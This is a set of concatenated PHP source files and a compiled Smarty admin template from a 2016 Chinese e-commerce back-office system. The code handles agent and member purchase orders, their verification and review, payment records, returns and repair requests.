AgentOrder::exitJsonData(AgentOrder::errorReturnData('WareHouseID_IS_NULL', '无法获取到仓库编号')); } if (!$adminID) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('AdminID_IS_NULL','无法获取到操作员编号')); } if (!$agentPurchaseOrderID) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('AgentOrderID_IS_NULL','无法获取到用户订单编号')); } $handleResult = $agentOrder->verifyOrderToSuccess($agentPurchaseOrderID, $verifyInfo, $warehouseID); AgentOrder::exitJsonData($handleResult); break; case 'verifyfailure': // 初审失败 $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; $verifyInfo = $filter['VerifyInfo']; $adminID = $verifyInfo['AdminID']; if (!$adminID) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('AdminID_IS_NULL','无法获取到操作员编号')); } if (!$agentPurchaseOrderID) { $returnData = AgentOrder::errorReturnData('AgentOrderID_IS_NULL','无法获取到用户订单编号'); AgentOrder::exitJsonData($returnData); } $handleResult = $agentOrder->verifyOrderToFailure($agentPurchaseOrderID, $verifyInfo); AgentOrder::exitJsonData($handleResult); break; case 'payfor': // 付款 $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $orderInfo['RealTotalAmount'] = (float)$filter['RealTotalAmount']; $orderInfo['ScorePayAmount'] = (float)$filter['ScorePayAmount']; $orderInfo['PreDepositPayAmount'] = (float)$filter['PreDepositPayAmount']; $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; $orderPayList = $filter['OrderPayList']; if (!is_array($orderPayList) || count($orderPayList) == 0) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('OrderPayList_IS_NULL','无法获取到上传打款凭证')); } if (!$agentPurchaseOrderID) { $returnData = AgentOrder::errorReturnData('AgentOrderID_IS_NULL','无法获取到用户订单编号'); AgentOrder::exitJsonData($returnData); } $handleResult = $agentOrder->addAgentPurchaseOrderPayRecord($agentPurchaseOrderID, $orderInfo, $orderPayList); AgentOrder::exitJsonData($handleResult); break; case 'reviewsuccess': // 复审成功 $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $verifyInfo = $filter['VerifyInfo']; $adminID = $verifyInfo['AdminID']; if (!$adminID) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('AdminID_IS_NULL','无法获取到操作员编号')); } $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; if (!$agentPurchaseOrderID) { $returnData = AgentOrder::errorReturnData('AgentOrderID_IS_NULL','无法获取到用户订单编号'); AgentOrder::exitJsonData($returnData); } $handleResult = $agentOrder->reviewOrderToSuccess($agentPurchaseOrderID, $verifyInfo); AgentOrder::exitJsonData($handleResult); break; case 'reviewfailure': // 复审失败 $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $verifyInfo = $filter['VerifyInfo']; $adminID = $verifyInfo['AdminID']; if (!$adminID) { AgentOrder::exitJsonData(AgentOrder::errorReturnData('AdminID_IS_NULL','无法获取到操作员编号')); } $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; if (!$agentPurchaseOrderID) { $returnData = AgentOrder::errorReturnData('AgentOrderID_IS_NULL','无法获取到用户订单编号'); AgentOrder::exitJsonData($returnData); } $handleResult = $agentOrder->reviewOrderToFailure($agentPurchaseOrderID, $verifyInfo); AgentOrder::exitJsonData($handleResult); break; case 'deletepayorder': // 删除打款凭证 $filter = $core->getFilter(); $agentPurchaseOrderPayRecordID = (int)$filter['AgentPurchaseOrderPayRecordID']; $agentOrder = $core->subCore->initAgentOrder(); $result = $agentOrder->softDeletePurchaseOrderPayRecord($agentPurchaseOrderPayRecordID); if ($result) { AgentOrder::exitJsonData(AgentOrder::successReturnData()); } else { AgentOrder::exitJsonData(AgentOrder::errorReturnData('SoftDetele_IS_FAILED','打款凭证删除失败')); } break; case '': break; case 'applyrepair': // 申请换货 $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; $repairInfo = $filter['repairInfo'];//返修信息中包含 if (!$agentPurchaseOrderID) { $returnData = AgentOrder::errorReturnData('AgentPurchaseOrderID_IS_NULL','无法获取到用户订单编号'); AgentOrder::exitJsonData($returnData); } if (!is_array($repairInfo) || count($repairInfo) <= 0) { $returnData = AgentOrder::errorReturnData('REPAIRINFO_IS_NULL','返修申请信息不能为空'); AgentOrder::exitJsonData($returnData); } $handleResult = $agentOrder->applyRepairOrderGoods($repairInfo); AgentOrder::exitJsonData($handleResult); break; default: exit(''); break; } } ?><file_sep><?php /** * 查询代理商订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ /* ini_set('display_errors', true); error_reporting(E_ALL);*/ function pageApiAgentGetorderinfo(& $core) { switch ($core->action) { case 'getexchangedetail': $filter = $core->getFilter(); $coreOrderID = (int)$filter['CoreOrderID']; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; case 'getexchangelist': $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; case 'getrepairdetail': $filter = $core->getFilter(); $coreOrderID = (int)$filter['CoreOrderID']; AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; case 'getrepairlist': $filter = $core->getFilter(); AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; /*case 'getsimpledata': $filter = $core->getFilter(); $agentOrderID = $filter['AgentOrderID']; $agentOrder = $core->subCore->initAgentOrder(); $simpledata = $agentOrder->getSimpleData($agentOrderID); $data = array('simpleData'=>$simpledata); AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break;*/ case 'getdetail': $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); $agentPurchaseOrderID = (int)$filter['AgentPurchaseOrderID']; if (!$agentPurchaseOrderID) { return AgentOrder::errorReturnData('AgentPurchaseOrderID_IS_NULL','无法获取到用户订单编号'); } $agentPurchaseOrderDetail = (array)$agentOrder->getAgentPurchaseOrderDetail($agentPurchaseOrderID); // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 $agentPurchaseOrderGoodsDetail = (array)$agentOrder->getAgentOrderGoodsDetail( $agentPurchaseOrderID, $isShowAttribute = true, $isShowSpecification = true); // 获取状态名称 $orderStatusID = $agentPurchaseOrderDetail['AgentPurchaseOrderStatusID']; $statusName = AgentOrder::getAgentOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $agentPurchaseOrderDetail['AgentPurchaseOrderStatusName'] = $statusName; // 处理$agentPurchaseOrderDetail中 收货人省市县 $param['ProvinceID'] = $agentPurchaseOrderDetail['ReceiverProvinceID']; $param['CityID'] = $agentPurchaseOrderDetail['ReceiverCityID']; $param['CountyID'] = $agentPurchaseOrderDetail['ReceiverAreaID']; $param['action'] = 'getwholeaddress'; $areaResource = $core->getApiData('system', '/api/getareaname.php', $param, 'post'); $areaList = $areaResource['data']; $agentPurchaseOrderDetail = array_merge($agentPurchaseOrderDetail, $areaList); // 获取初审记录 $agentPurchaseOrderVerifyRecord = $agentOrder->getAgentPurchaseOrderVerifyRecord($agentPurchaseOrderID); if ($agentPurchaseOrderVerifyRecord) { $agentPurchaseOrderVerifyRecord['Result'] = $agentOrder->getResultByResultID( $target = 'AgentPurchaseOrderVerifyRecord', $resultID = $agentPurchaseOrderVerifyRecord['ResultID']); } if ($agentPurchaseOrderVerifyRecord['ResultID'] == AgentOrder::AGENTORDER_VERIFYRESULT_REFUSE) { $data = array( 'agentPurchaseOrderDetail'=>$agentPurchaseOrderDetail, 'agentPurchaseOrderGoodsDetail'=>$agentPurchaseOrderGoodsDetail, 'agentPurchaseOrderVerifyResult' => $agentPurchaseOrderVerifyRecord); AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); } // 获取复审记录 $agentPurchaseOrderReviewList = $agentOrder->getAgentPurchaseOrderReviewRecord($agentPurchaseOrderID); foreach ($agentPurchaseOrderReviewList as $itemKey => $itemVal) { if ($itemVal['ResultID'] == AgentOrder::AGENTORDER_VERIFYRESULT_AGREE) { $reviewSuccessResult = $itemVal; } else { $reviewFailedResult[] = $itemVal; } } unset($agentPurchaseOrderReviewList); /* 获取付款通过收款凭证 */ if ($reviewSuccessResult) { $sourceTypeID = AgentOrder::ATTACHMENTSOURCE_PURCHASEORDER_REVIEW; $sourceID = $reviewSuccessResult['AgentPurchaseOrderReviewRecordID']; $attachmentStatusID = AgentOrder::ATTACHMENT_STATUS_NOMAL; $attachmentList = $agentOrder->getAttachmentList($sourceTypeID, $sourceID, $attachmentStatusID); $reviewSuccessResult['attachmentList'] = $attachmentList; $reviewSuccessResult['Result'] = $agentOrder->getResultByResultID( $target = 'AgentPurchaseOrderReviewRecord', $resultID = $reviewSuccessResult['ResultID']); } /* 复审反驳处理 */ if ($reviewFailedResult) { $reviewFailed = $agentOrder->getResultByResultID( $target = 'AgentPurchaseOrderReviewRecord', $resultID = AgentOrder::AGENTORDER_VERIFYRESULT_REFUSE); foreach ($reviewFailedResult as $itemKey => $itemVal) { $reviewFailedResult[$itemKey]['Result'] = $reviewFailed; } } // 获取付款记录 $agentPurchaseOrderPayRecordStatusID = AgentOrder::AGENTPURCHASEORDERPAY_STATUS_NOMAL; $agentPurchaseOrderPayRecord = $agentOrder->getAgentPurchaseOrderPayRecordList( $agentPurchaseOrderID, $agentPurchaseOrderPayRecordStatusID); // 获取供货总数 $supplyRecordCount = $agentOrder->getSupplyRecordCount( $coreOrderID, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $supplyRecordList = $agentOrder->getSupplyRecordList( $first = 0, $limit = $supplyRecordCount, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null); $data = array( 'agentPurchaseOrderDetail'=>$agentPurchaseOrderDetail, 'agentPurchaseOrderGoodsDetail'=>$agentPurchaseOrderGoodsDetail, 'agentPurchaseOrderVerifyResult' => $agentPurchaseOrderVerifyRecord, 'agentPurchaseOrderReviewSuccessResult' => $reviewSuccessResult, 'agentPurchaseOrderReviewFailedResult' => $reviewFailedResult, 'agentPurchaseOrderPayRecord' => $agentPurchaseOrderPayRecord, 'supplyRecordList' => $supplyRecordList); AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; case 'getlist': $filter = $core->getFilter(); $agentOrder = $core->subCore->initAgentOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; // 搜索信息 $agentOrderCount = $agentOrder->getAgentPurchaseOrderCount($filter); $core->setUsePager($agentOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $agentOrderList = $agentOrder->getAgentPurchaseOrderList($pager, $filter, $sort); foreach ($agentOrderList as $orderKey => $orderItem) { $orderStatusID = $orderItem['AgentPurchaseOrderStatusID']; $agentOrderList[$orderKey]['GoodsCount'] = '100'; $agentOrderList[$orderKey]['GoodsSupplyCount'] = '90'; $agentOrderList[$orderKey]['GoodsLeftCount'] = '10'; $agentOrderList[$orderKey]['GoodsSupplyStatusName'] = '未完成'; $agentOrderList[$orderKey]['AgentOrderStatusName'] = AgentOrder::getAgentOrderStatusNameByOrderStatusID($orderStatusID);//订单状态名称 $payTypeID = $orderItem['PayTypeID']; $agentOrderList[$orderKey]['PayTypeName'] = AgentOrder::getMemberPayTypeNameByPayTypeID($payTypeID);//订单支付态名称 $memberIDList[] = $orderItem['MemberID']; if ($filter['getGoodsSN'] == 1) { $agentOrderList[$orderKey]['GoodsSN'] = $agentOrder->getAgentOrderGoodsSNString($orderItem['CoreOrderID']);// 订单商品编号。 } // 展示可以操作的按钮,取消订单、确认收货、退货、换货、返修。 // $operatorList = $agentOrder->getOperatorList($orderStatusID); // $agentOrderList[$orderKey] = array_merge($agentOrderList[$orderKey],$operatorList); } $param['MemberID'] = array_unique($memberIDList); $param['action'] = 'getmemberinfotoorder'; $memberInfoSource = $core->getApiData('member','/api/member.php',$param,'post'); $memberInfoList = $memberInfoSource['data']; foreach ($agentOrderList as $orderKey => $orderItem) { $agentOrderList[$orderKey]['RealName'] = $memberInfoList[$orderItem['MemberID']]['RealName']; $agentOrderList[$orderKey]['Mobile'] = $memberInfoList[$orderItem['MemberID']]['Mobile']; } /* @todo 获得省市县和支付方式 */ $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'agentOrderCount'=>$agentOrderCount, 'agentOrderList'=>$agentOrderList); AgentOrder::exitJsonData(AgentOrder::successReturnData($data)); break; case 'getsupplylist': break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?> <file_sep><?php /* Smarty version Smarty-3.0.6, created on 2016-03-04 05:34:30 compiled from "service/order/views/template/index.tpl" */ ?> <?php /*%%SmartyHeaderCode:27622149956d8ade63755e2-61599644%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed'); $_smarty_tpl->decodeProperties(array ( 'file_dependency' => array ( '342f4295f549661fd46e54324e95c37e6f6ee66d' => array ( 0 => 'service/order/views/template/index.tpl', 1 => 1456958187, 2 => 'file', ), ), 'nocache_hash' => '27622149956d8ade63755e2-61599644', 'function' => array ( ), 'has_nocache_code' => false, )); /*/%%SmartyHeaderCode%%*/?> <!doctype html> <html lang="zh-cn"> <head> <meta charset="utf-8"> <title>系统管理平台</title> <link rel="stylesheet" type="text/css" href="/style/css/reset.css"> <link rel="stylesheet" type="text/css" href="/style/css/index.css"> <link rel="stylesheet" type="text/css" href="/style/css/jquery.mCustomScrollbar.min.css"> </head> <body class="clearfix Order"> <div id="header" class="header"> <div class="logo"> <a href="javascript:;" target="_blank"></a> </div> <div class="OrderName"></div> <div class="user-detail"> <span class="user-post"><i></i>管理员</span> <span class="user-name"><i></i>BOBO</span> <span class="exit"><i></i><a href="#">退出</a></span> </div> </div> <div id="container" class="container"> <div id="aside" class="aside"> <div class="menu"> <span id="spring"></span> </div> <ul id="nav" class="nav"> <li> <a href="javascript:;" target="main"><span class="iconfont">&#xe651;</span>用户订单</a> <dl> <dt><a href="buylist.php" target="main"><small>○</small>购买订单列表</a></dt> <dt><a href="rejectlist.php" target="main"><small>○</small>退货订单列表</a></dt> <dt><a href="exchangelist.php" target="main"><small>○</small>换货订单列表</a></dt> <dt><a href="repairlist.php" target="main"><small>○</small>返修订单列表</a></dt> </dl> </li> <li class="son-menu"> <dl> <dt><a href="buylist.php" target="main"><small>○</small>购买订单列表</a></dt> <dt><a href="rejectlist.php" target="main"><small>○</small>退货订单列表</a></dt> <dt><a href="exchangelist.php" target="main"><small>○</small>换货订单列表</a></dt> <dt><a href="repairlist.php" target="main"><small>○</small>返修订单列表</a></dt> </dl> </li> <li> <a href="javascript:;" target="main"><span class="iconfont">&#xe651;</span>渠道商订单</a> <dl> <dt><a href="purchaselist.php" target="main"><small>○</small>采购订单列表</a></dt> <dt><a href="barterlist.php" target="main"><small>○</small>换货订单列表</a></dt> <dt><a href="reworklist.php" target="main"><small>○</small>返修订单列表</a></dt> <dt><a href="cancellist.php" target="main"><small>○</small>撤店退货单列表</a></dt> </dl> </li> <li class="son-menu"> <dl> <dt><a href="purchaselist.php" target="main"><small>○</small>采购订单列表</a></dt> <dt><a href="barterlist.php" target="main"><small>○</small>换货订单列表</a></dt> <dt><a href="reworklist.php" target="main"><small>○</small>返修订单列表</a></dt> <dt><a href="cancellist.php" target="main"><small>○</small>撤店退货单列表</a></dt> </dl> </li> <li> <a href="javascript:;" target="main"><span class="iconfont">&#xe651;</span>特殊订单管理</a> <dl> <dt><a href="speciallist.php" target="main"><small>○</small>特殊订单列表</a></dt> </dl> </li> <li class="son-menu"> <dl> <dt><a href="speciallist.php" target="main"><small>○</small>特殊订单列表</a></dt> </dl> </li> </ul> </div> <div id="main" class="main"> <iframe src="buylist.php" name="main" width="100%" height="100%" frameborder="0"> </iframe> </div> </div> <script src="/style/js/jq.js"></script> <script src="/style/js/index.js"></script> <script src="/style/js/jquery.mCustomScrollbar.concat.min.js"></script> <script> (function($){ $(".aside").mCustomScrollbar({ scrollButtons:{ enable:false, scrollType:"continuous", scrollSpeed:1, scrollAmount:4 }, horizontalScroll:false, }); })(jQuery); </script> </body> </html><file_sep><?php /** * 代理商订单操作类,该接口已废弃。 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3020-3040 8020-8040 该接口已废弃,请使用接口:/api/member/generateorder.php 代替此接口。 */ /** * 为代理商生成采购订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiGenerateorderforagent(& $core) { switch($core->action) { default: $agentOrder = $core->subCore->initAgentOrder(); $returnData = AgentOrder::errorReturnData(('0000','该接口已废弃,请使用接口:/api/member/generateorder.php 代替此接口。'); exit(json_encode($returnData)); break; } } ?><file_sep><?php /** * 用户订单操作类-forapp * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] */ /** * 为用户生成订单 * @param [type] $core [description] * @return [type] [description] */ function pageAppMemberGenerateorder(& $core) { switch($core->action) { case 'generateonemoreorder': // 再来一单 $filter = $core->getJsonEncrypt(); // $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $coreOrderID = $filter['CoreOrderID']; $memberID = $filter['MemberID']; if (!$coreOrderID || !$memberID) { $returnData = MemberOrder::errorReturnData('PARAMETER_ILLEGAL','参数非法'); // exit(json_encode($oneMoreOrderResult)); $core->echoJsonEncrypt($returnData); } // 检查 memberOrderID与CoreOrderID是否一致。 $oneMoreOrderResult = $memberOrder->generateOneMoreOrder($coreOrderID); // exit(json_encode($oneMoreOrderResult)); $core->echoJsonEncrypt($oneMoreOrderResult); break; default: $filter = $core->getFilter(); // $filter = $core->getJsonEncrypt(); $memberOrder = $core->subCore->initMemberOrder(); $debug = $filter['debug']; if ($debug == 1) { $GLOBALS['debug'] = 1; } $orderInfo = $filter; $orderInfo['OrderTypeID'] = MemberOrder::ORDERTYPE_MEMBER_PURCHASE;//用户购买。 // 单品商品 $goodsList = $filter['goodsList'];//获得app端传递的货物信息,具体结构参考接口文档。 $packageGoodsList = $filter['packageGoodsList']; $preferGoodsList = $filter['preferGoodsList']; unset($filter['goodsList']); unset($filter['packageGoodsList']); unset($filter['preferGoodsList']); if (!is_array($goodsList) || count($goodsList) <= 0 ) { $returnData = MemberOrder::errorReturnData('CANNOT_GET_GOOSLIST','没有接收到货品信息'); MemberOrder::exitJsonData($returnData); } $goodsIDList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { $goodsIDList[] = $goodsItem['GoodsID']; } // 调用Product接口获得商品信息,并重组。 $param['action'] = 'goodsList'; $param['goodsIDList'] = $goodsIDList; $productResource = $core->getApiData('product','/api/product.php',$param,'post'); // if ($GLOBALS['debug'] == 1) { // var_dump($productResource); // } if ($productResource['status'] !== 'success') { $returnData = MemberOrder::errorReturnData('CANNOT_GET_GOOSINFO','获取商品信息失败'); MemberOrder::exitJsonData($returnData); } $productInfo = (array)$productResource['data']; $orderGoodsList = array(); $orderPackageGoodsList = array(); $orderPreferGoodsList = array(); foreach ($goodsList as $goodsKey => $goodsItem) { // 调用玉超的接口,获得商品的详细信息,存储在cukOrder库之中,等于存储了这个商品的镜像了,将来无论产品怎么变,历史记录不会变化。 $goodsID = $goodsItem['GoodsID']; $goodsInfo = (array)$productInfo[$goodsID];//调用接口获得商品信息。 $orderGoodsItem = array_merge($goodsItem, $goodsInfo); $orderGoodsList[$goodsID] = $orderGoodsItem; } // foreach ($packageGoodsList as $packageGoodsKey => $packageGoodsItem) { // $packageGoodsID = $packageGoodsItem['GoodsID']; // $packageGoodsInfo = (array)$productInfo[$packageGoodsID];//调用接口获得商品信息。 // $packageGoodsItem = array_merge($packageGoodsItem, $packageGoodsInfo); // $orderPackageGoodsList[$packageGoodsID] = $packageGoodsItem; // } foreach ($packageGoodsList as $packageKey => $packageItem) { $packageGoods = $packageItem['goodslist']; foreach ($packageGoods as $packageGoodsKey => $packageGoodsItem) { $packageGoodsID = $packageGoodsItem['GoodsID']; $packageGoodsInfo = (array)$productInfo[$packageGoodsID];//调用接口获得商品信息。 $packageGoodsItem = array_merge($packageGoodsItem, $packageGoodsInfo); $packageGoodsList[$packageKey]['goodslist'][$packageGoodsKey] = $packageGoodsItem; } } foreach ($preferGoodsList as $preferKey => $preferItem) { $preferGoods = $preferItem['goodslist']; foreach ($preferGoods as $preferGoodsKey => $preferGoodsItem) { $preferGoodsID = $preferGoodsItem['GoodsID']; $preferGoodsInfo = (array)$productInfo[$preferGoodsID];//调用接口获得商品信息。 $preferGoodsItem = array_merge($preferGoodsItem, $preferGoodsInfo); $preferGoodsList[$preferKey]['goodslist'][$preferGoodsKey] = $preferGoodsItem; } } // } // foreach ($preferGoodsList as $preferGoodsKey => $preferGoodsItem) { // $preferGoodsID = $preferGoodsItem['GoodsID']; // $preferGoodsInfo = (array)$productInfo[$preferGoodsID];//调用接口获得商品信息。 // $preferGoodsItem = array_merge($preferGoodsItem, $preferGoodsInfo); // $orderPreferGoodsList[$preferGoodsID] = $preferGoodsItem; // } $orderInfo['goodsList'] = $orderGoodsList; $orderInfo['packageGoodsList'] = $packageGoodsList; $orderInfo['preferGoodsList'] = $preferGoodsList; $memberOrderInfo = $memberOrder->generateMemberOrder($orderInfo); exit(json_encode($memberOrderInfo)); MemberOrder::exitJsonData($memberOrderInfo); break; } } ?><file_sep><?php /** * 查询订单 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3030-3040 8030-8040 * @todo 此处要在比较订单状态之后,选择是查询商品还是查询货品。 */ /** * 查询订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiMemberGetreturnorderinfo(& $core) { switch ($core->action) { case 'getdetail': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $memberReturnOrderID = (int)$filter['MemberReturnOrderID']; if (!$memberOrderID) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MemberReturnOrderID_IS_NULL','无法获取到用户退货订单编号')); } $memberOrderDetail = (array)$memberOrder->getMemberReturnOrderDetail($memberReturnOrderID); // 此处要在比较订单状态之后,选择是查询商品还是查询货品。 // $memberOrderGoodsDetail = (array)$memberOrder->getMemberReturnOrderGoodsDetail($memberOrderID); $data = array('memberReturnOrderDetail'=>$memberOrderDetail,'memberReturnOrderGoodsDetail'=>$memberOrderGoodsDetail); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getaftersalelistforweb': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); if (!$filter['MemberID']) { MemberOrder::exitJsonData(MemberOrder::errorReturnData('MemberID_IS_NULL','无法获取到用户编号')); } // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; $filter['MemberOrderStatusID'] = MemberOrder::getAfterSaleOrderStatusIDList(); // 搜索信息,有几个字段可能得调接口获取相关信息。 $memberReturnOrderCount = $memberOrder->getMemberReturnOrderCount($filter); $core->setUsePager($memberReturnOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $specialFields = array('MemberReturnOrder.CoreOrderID','MemberReturnOrder.AddTime'); $memberReturnOrderList = $memberOrder->getMemberReturnOrderList($pager, $filter, $sort, $specialFields); // 处理数据 $memberReturnOrderIDList = array(); $memberOrderIDList = array(); foreach ($memberReturnOrderList as $orderKey => $orderItem) { // 获得每个订单的商品,排除掉已经退货的。 $coreOrderID = $orderItem['CoreOrderID']; $goodsList = $memberOrder->getGoodsListByCoreOrderID($coreOrderID); } // 如果没有获得数据,退出。 // if (!is_array($memberReturnOrderIDList) || count($memberReturnOrderIDList) <= 0) { // $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberReturnOrderCount'=> 0, 'memberReturnOrderList'=>null); // MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); // } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberReturnOrderCount'=>$memberReturnOrderCount, 'memberReturnOrderList'=>$memberReturnOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; case 'getlist': $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); // 分页信息 $pager['pageid'] = (int)$filter['pageid'] ? (int)$filter['pageid'] : 1; $pager['limit'] = (int)$filter['limit'] ? (int)$filter['limit'] : 10; // 搜索信息,有几个字段可能得调接口获取相关信息。 // 根据产品编码获得货品ID if ($filter['GoodsSN']) { $goods['RFID'] = $filter['GoodsSN']; $goods['action'] = 'getGoodsIDAndFactoryGoodsEntityIDByRFID'; $goodsSource = $core->getApiData('factory','/api/goods.php', $goods, 'post'); if ($goodsSource['status'] == 'success' && $goodsSource['data']['FactoryGoodsEntityID'] > 0) { $filter['GoodsEntityID'] = $goodsSource['data']['FactoryGoodsEntityID']; } } // 根据手机号获得MemberID if ($filter['Mobile']) { $mobile['Mobile'] = trim($filter['Mobile']); $mobile['action'] = 'getmemberidbymobile'; $mobileResource = $core->getApiData('member','/api/member.php', $mobile, 'post'); if ($mobileResource['status'] == 'success' || $mobileResource['data']['MemberID'] > 0) { $filter['MemberID'] = $mobileResource['data']['MemberID']; } } $memberReturnOrderCount = $memberOrder->getMemberReturnOrderCount($filter); $core->setUsePager($memberReturnOrderCount, $pager['limit']); list($first,$limit) = $core->getLimitByPager(false, $pager['pageid']); $pager['first'] = $first; $memberReturnOrderList = $memberOrder->getMemberReturnOrderList($pager, $filter, $sort); // 处理数据 $memberReturnOrderIDList = array(); $memberOrderIDList = array(); foreach ($memberReturnOrderList as $orderKey => $orderItem) { $returnOrderStatusID = $orderItem['MemberReturnOrderStatusID']; $memberReturnOrderList[$orderKey]['MemberOrderReturnStatusName'] = $memberOrder->getMemberReturnOrderStatusNameByStatusID($returnOrderStatusID);// 获得退货状态 $memberReturnOrderIDList[] = $orderItem['MemberReturnOrderID']; $memberOrderIDList[] = $orderItem['MemberOrderID']; $memberIDList[] = $orderItem['MemberID']; } // 如果没有获得数据,退出。 if (!is_array($memberReturnOrderIDList) || count($memberReturnOrderIDList) <= 0) { $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberReturnOrderCount'=> 0, 'memberReturnOrderList'=>null); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); } // 遍历退货订单,根据原始订单,获得订单的属猪。 // $memberOrderIDList = $memberOrder->getMemberOrderIDListByReturn($memberReturnOrderIDList); // 获得订单的属猪和代理商信息。 if (!$memberOrder->checkReturnOrderIfJoinMemberOrder($filter)) { $memberIDList = $memberOrder->getMemberIDListByOrder($memberOrderIDList); $agentInfoList = $memberOrder->getAgentInfoListByOrder($memberOrderIDList); } $param['MemberID'] = array_unique($memberIDList); $param['action'] = 'getmemberinfotoorder'; $memberInfoSource = $core->getApiData('member','/api/member.php',$param,'post'); $memberInfoList = $memberInfoSource['data']; foreach ($memberReturnOrderList as $orderKey => $orderItem) { $memberOrderID = $orderItem['MemberOrderID']; $memberID = $memberIDList[$memberOrderID] ? $memberIDList[$memberOrderID] : $orderItem['MemberID']; $agentInfo = $agentInfoList[$memberOrderID] ? $agentInfoList[$memberOrderID] : array(); $memberReturnOrderList[$orderKey]['RealName'] = $memberInfoList[$memberID]['RealName']; $memberReturnOrderList[$orderKey]['Mobile'] = $memberInfoList[$memberID]['Mobile']; $memberReturnOrderList[$orderKey]['EmployeeName'] = $orderItem['Operator']; $memberReturnOrderList[$orderKey] = array_merge($memberReturnOrderList[$orderKey],$agentInfo); } $data = array('pageid'=>$pager['pageid'], 'limit'=>$pager['limit'], 'memberReturnOrderCount'=>$memberReturnOrderCount, 'memberReturnOrderList'=>$memberReturnOrderList); MemberOrder::exitJsonData(MemberOrder::successReturnData($data)); break; default: exit('请使用 getdetail 和 getlist 接口'); break; } } ?><file_sep><?php /** * 用户订单操作类 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 3000-3020 8000-8020 */ /** * 为门店生成采购订单 * @param [type] $core [description] * @return [type] [description] */ function pageApiGenerateorderforstore(& $core) { switch($core->action) { default: $returnData = array('status' => 'failed', 'reason'=>'', 'data'=>''); $filter = $core->getFilter(); $memberOrder = $core->subCore->initMemberOrder(); $orderInfo = $filter; $orderInfo['OrderTypeID'] = MemberOrder::ORDERTYPE_MEMBER_PURCHASE;//用户购买。 // SourceName 和SourceID分别传递什么。 $orderInfo['SourceName'] = ''; $orderInfo['SourceID'] = 0; $orderInfo['MemberOrderStatusID'] = MemberOrder::MEMBERORDERSTATUS_UNPAY;//待支付。 $orderInfo['goodsList'] = null;//下面添加 /** * goodsList 存储每一个goodsItem * $goodsList = array( * array( * 'GoodsID'=>11,//商品ID * 'number'=>2 * ), * array( * 'GoodsID'=>22, * 'number'=>5 * ) * ); */ $goodsList = $filter['goodsList'];//根据其中的ID获得商品的详细信息。 unset($filter['goodsList']); /*****/ if ($filter['debug'] == 1 || $filter['debug'] == 2) { $GLOBALS['debug'] 